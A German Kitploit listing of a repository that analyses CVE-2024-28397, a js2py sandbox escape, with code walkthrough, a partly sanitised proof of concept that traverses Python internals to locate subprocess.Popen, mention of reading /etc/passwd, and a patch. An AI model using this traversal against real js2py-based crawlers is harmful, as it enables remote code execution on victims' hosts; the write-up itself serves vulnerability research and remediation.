Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-28397-js2py-Sandbox-Escape — Detaillierte Analyse von CVE-2024-28397, einer Sandbox-Escape-Sicherheitslücke in js2py, die RCE über Python-Objekt-Traversal ermöglicht. Enthält Codeanalyse, PoC und Empfehlungen zur Behebung für defensive Forschung. | Kitploit
Tools/GitHubGitHub/naved124/cve-2024-28397-js2py-sandbox-escape
SchwachstellenanalyseCode-AnalyseExploitationWebsicherheitPapers & ForschungLernen & BildungPayload-EntwicklungBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
naved124/cve-2024-28397-js2py-sandbox-escape

CVE-2024-28397-js2py-Sandbox-Escape

Detaillierte Analyse von CVE-2024-28397, einer Sandbox-Escape-Sicherheitslücke in js2py, die RCE über Python-Objekt-Traversal ermöglicht. Enthält Codeanalyse, PoC und Empfehlungen zur Behebung für defensive Forschung.

Repository anzeigen
vor 11 MonatenNoch nicht geprüft

CVE-2024-28397-js2py-Sandbox-Escape

js2py Schwachstellenanalyse

Einleitung

js2py ist ein beliebtes Python-Paket, das JavaScript-Code innerhalb des Python-Interpreters auswerten kann. Es wird von verschiedenen Web-Scrapern verwendet, um JavaScript-Code auf Websites zu parsen.

Es existiert eine Schwachstelle in der Implementierung einer globalen Variable innerhalb von js2py, die es einem Angreifer ermöglicht, eine Referenz auf ein Python-Objekt in der js2py-Umgebung zu erhalten, wodurch der Angreifer die JS-Umgebung verlassen und beliebige Befehle auf dem Host ausführen kann.

Normalerweise würde ein Benutzer js2py.disable_pyimport() aufrufen, um zu verhindern, dass JavaScript-Code die js2py-Umgebung verlässt. Aber mit dieser Schwachstelle kann ein Angreifer diese Einschränkung umgehen und jeden Befehl auf dem Zielhost ausführen.

Der Bedrohungsakteur kann eine Website mit einer bösartigen JavaScript-Datei hosten oder ein bösartiges Skript über eine HTTP-API senden, das vom Opfer geparst wird. Dadurch kann der Akteur eine Remote-Codeausführung auf dem Host erreichen, indem er beliebige Shell-Befehle auf dem Ziel ausführt.


Vorwort

js2py ist eine Python-Bibliothek, die häufig in Crawlern verwendet wird, um JS-Code in einer nativen Python-Umgebung zu parsen und auszuführen. Crawler verwenden im Allgemeinen js2py, um aus dem Web erhaltenen JS-Code zu parsen und so die Browserumgebung zu simulieren.

Allerdings hat js2py eine Funktion, die für Crawler äußerst gefährlich ist: es unterstützt das Importieren und Verwenden von Python-Paketen in JS, was bedeutet, dass js2py JS-Code erlaubt, verschiedene Python-Bibliotheken zu manipulieren und direkt mit der Python-Umgebung zu interagieren. Genau deshalb können wir eine Methode ähnlich wie Jinja SSTI verwenden und in der js2py-Umgebung ein Python-Objekt nutzen, um die subprocess.Popen-Klasse zu finden und RCE zu erreichen.

Da js2py zudem ein Paket aus der Python2-Ära ist, weit verbreitet und lange nicht gewartet, sollte es relativ einfach zu analysieren sein.


Code-Analyse

JS-Code zu Python-Code

Nach dem Setzen von Breakpoints kann festgestellt werden, dass der Ort, an dem der JS-Code tatsächlich geparst wird, die Eval-Funktion von host/jseval.py ist. Durch das Setzen von Breakpoints darin kann man den von js2py konvertierten Python-Code sehen.

Zum Beispiel dieses JS-Code-Stück:

root@kitploit:~
let a = 114
console.log(a)

Wird letztendlich in dieses Python-Code-Stück geparst:

root@kitploit:~
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))

Es ist zu sehen, dass Variablen in der JS-Ebene alle in der Python-Variable var gespeichert werden. Alle Werte der JS-Ebene werden sauber als PyJs-Klasse gespeichert (hier ist Js eigentlich eine Funktion, wie später erklärt). Funktionen werden ebenfalls über callprop aufgerufen. Unter normalen Umständen kann JS-Code keine Python-Objekte berühren.

Beim Betrachten des Codes fiel auf, dass der Autor sehr gerne String-Konkatenation verwendete, um den endgültigen Python-Code zu konstruieren. Daher kam der Gedanke auf, ob JS-Code konstruiert werden könnte, um illegalen Python-Code zu erzeugen und so beliebigen Python-Code zu konstruieren und auszuführen. Da dieser Weg jedoch viel schwieriger ist als der spätere, wurde er nicht weiter verfolgt.


Python-Daten zu JS-Daten

Um ein Python-Objekt zu erhalten und RCE zu implementieren, muss man sich natürlich zuerst ansehen, wie Python-Objekte in PyJs-Objekte konvertiert werden.

Zuerst die Implementierung der Js-Funktion in base.py lokalisieren. Die Rolle der Js-Funktion ist es, den eingehenden Python-Wert in den entsprechenden PyJs-Wert zu konvertieren, sodass JS-Code diese Werte manipulieren kann.

root@kitploit:~
def Js(val, Clamped=False):
    '''Converts Py type to PyJs type'''
    if isinstance(val, PyJs):
        return val
    elif val is None:
        return undefined
    elif isinstance(val, basestring):
        return PyJsString(val, StringPrototype)
    elif isinstance(val, bool):
        return true if val else false
    elif isinstance(val, float) or isinstance(val, int) or isinstance(
            val, long) or (NUMPY_AVAILABLE and isinstance(
                val,
                (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
                 numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
        # This is supposed to speed things up. may not be the case
        if val in NUM_BANK:
            return NUM_BANK[val]
        return PyJsNumber(float(val), NumberPrototype)
    ... # several lines omitted here
    else:  # try to convert to js object
        return py_wrap(val)

Es ist zu sehen, dass die grundlegenden Python-Datenstrukturen wie bool, float, list usw. in dedizierte PyJs-Klassen konvertiert werden, während andere Datentypen von py_wrap behandelt werden und schließlich zur PyObjectWrapper-Klasse werden.

Gewöhnliche PyJs-Klassen repräsentieren Zahlen, Booleans und andere gängige Daten, während PyObjectWrapper spezielle Daten wie Python-Module repräsentiert. Solange wir also Daten vom Typ PyObjectWrapper erhalten, können wir eine Attributzugriffsmethode ähnlich wie Jinja SSTI verwenden, um RCE zu erreichen.

Im Allgemeinen können Daten vom Typ PyObjectWrapper nur erhalten werden, wenn die Funktion zum Importieren von Python-Paketen aktiviert ist, aber da js2py lange nicht gewartet wird und die Unterschiede zwischen Python2 und Python3 nicht sorgfältig berücksichtigt hat, kam es letztendlich zu einer Sandbox-Escape-Schwachstelle.

Eine Randbemerkung: Beim Betrachten der Implementierung von PyJs sah ich, dass der Autor diese Codezeilen geschrieben hat:

root@kitploit:~
if six.PY3:
    PyJs.__hash__ = PyJs._fuck_python3
    PyJs.__truediv__ = PyJs.__div__

Man kann sagen, dass der Autor Python3 extrem ablehnt.


JS-Funktionsimplementierung

Während js2py die Funktion zum Konvertieren von JS-Code in Python-Code bereitstellt, bietet es auch mehrere integrierte Objekte wie console und Object, um den normalen Ablauf von JS-Code zu unterstützen.

Unser ultimatives Ziel ist es, die Einschränkung von pyimport zu umgehen und ein PyObjectWrapper-Objekt zu erhalten. Aus der obigen Analyse ist ersichtlich, dass wir, um aus dem Nichts ein PyObjectWrapper-Objekt zu erhalten, nur von der Implementierung eingebauter Objekte ausgehen und ein PyObjectWrapper-Objekt daraus extrahieren können.

Beginnen Sie mit dem Scannen des Implementierungscodes von eingebauten Objekten. In constructors/jsobject.py sieht man die Implementierung verschiedener Funktionen im Object-Objekt, einschließlich häufig verwendeter Funktionen wie Object.keys.

Dann sieht man diese Funktion:

root@kitploit:~
def getOwnPropertyNames(obj):
    if not obj.is_object():
        raise MakeError(
            'TypeError',
            'Object.getOwnPropertyDescriptor called on non-object')
    return obj.own.keys()

js2py verwendet dict, um Objekte in JS darzustellen. Das keys() hier ruft das keys() des Python-Wörterbuchs auf. Jeder, der Python studiert hat, sollte wissen, dass diese Funktion in Python2 eine Liste zurückgibt, während sie in Python3 eine dict_keys-Ansicht zurückgibt. Gemäß der obigen Implementierung der Js-Funktion wird dieses dict_keys in PyObjectWrapper konvertiert, und somit können wir RCE erreichen.


Erreichen von RCE

Zuerst überprüfen, ob getOwnPropertyNames ein PyObjectWrapper erhalten kann:

root@kitploit:~
import js2py

code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""

js2py.eval_js(code)

Es hat PyObjectWrapper(dict_keys([])) ausgegeben, natürlich kann es das.

Dann, basierend auf diesem Objekt, erhalten wir die __getattribute__-Funktion, und wir können leicht RCE erreichen. Beim Schreiben des PoC wurde zu kompliziert gedacht; tatsächlich reicht es, __class__.__base__ zu verwenden, um die __getattribute__-Funktion zu erhalten.

Dann, basierend auf der __getattribute__-Funktion, das object-Objekt erhalten, und dann eine rekursive Funktion schreiben, um jede Klasse eines beliebigen Moduls zu finden. Hier wird für RCE subprocess.Popen gesucht.

HINWEIS (bereinigt): Das folgende Code-Snippet wird zu Bildungs- und Forschungszwecken gezeigt. Es wurde bereinigt, um Missbrauch zu vermeiden: sensible Shell-Befehle und direkte Systemausführung wurden durch Platzhalter ersetzt. Führen Sie dies nicht gegen Produktions- oder ungepatchte Systeme aus.

root@kitploit:~
import js2py

code = """
let cmd = "DUMMY_CMD"  # replace with safe test command in a lab (e.g., 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}
// The next call would invoke subprocess.Popen with arguments — in the sanitized version
// we replace the actual system invocation with a placeholder for safety reasons.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""

# Note: js2py.eval_js(code) intentionally omitted to avoid running exploit code in this repository.

Details der Schwachstelle

  • Versionsnummer der betroffenen Komponente:
    • aktuelles js2py (<=0.74), das unter Python 3 läuft
  • Betroffene Produkte:
    • pyload/pyload
    • VeNoMouS/cloudscraper (verwendet js2py als optionalen 'JS-Interpreter')
    • dipu-bd/lightnovel-crawler
  • Schritte zur Reproduktion (nur Labor):
    • Installieren Sie Python3 < 3.12 (js2py unterstützt derzeit Python 3.12 nicht).
    • Führen Sie pip install js2py aus, um js2py zu installieren, und führen Sie ein bereinigtes PoC-Skript in einer isolierten Laborumgebung aus.
    • Das ursprüngliche PoC versuchte, Befehle wie head -n 1 /etc/passwd und Taschenrechner auszuführen; in diesem Repository sind diese durch sichere Platzhalter ersetzt.
    • Wenn die Schwachstelle existiert, wird der Forscher beobachten, dass ein PyObjectWrapper von Object.getOwnPropertyNames({}) erhalten werden kann, was Attribut-Traversierung ermöglicht, um zu Python-Interna zu gelangen.

Behebung

Da das Problem in der getOwnPropertyNames-Funktion liegt, behebt die Konvertierung des zurückgegebenen dict_keys in eine normale Liste das Problem. Ein vorgeschlagener Patch ist, obj.own.keys() mit list(...) zu umschließen, bevor es zurückgegeben wird.


Haftungsausschluss

Dieses Repository dient ausschließlich Bildungs- und defensiven Forschungszwecken. Verwenden Sie keine der hier enthaltenen Informationen oder Code, um Systeme ohne ausdrückliche Genehmigung anzugreifen. Die PoC-Ausschnitte wurden bereinigt, um Missbrauch zu vermeiden.


Zusammengestellt und übersetzt für Forschungs- und Verteidigungszwecke.

Tool herunterladen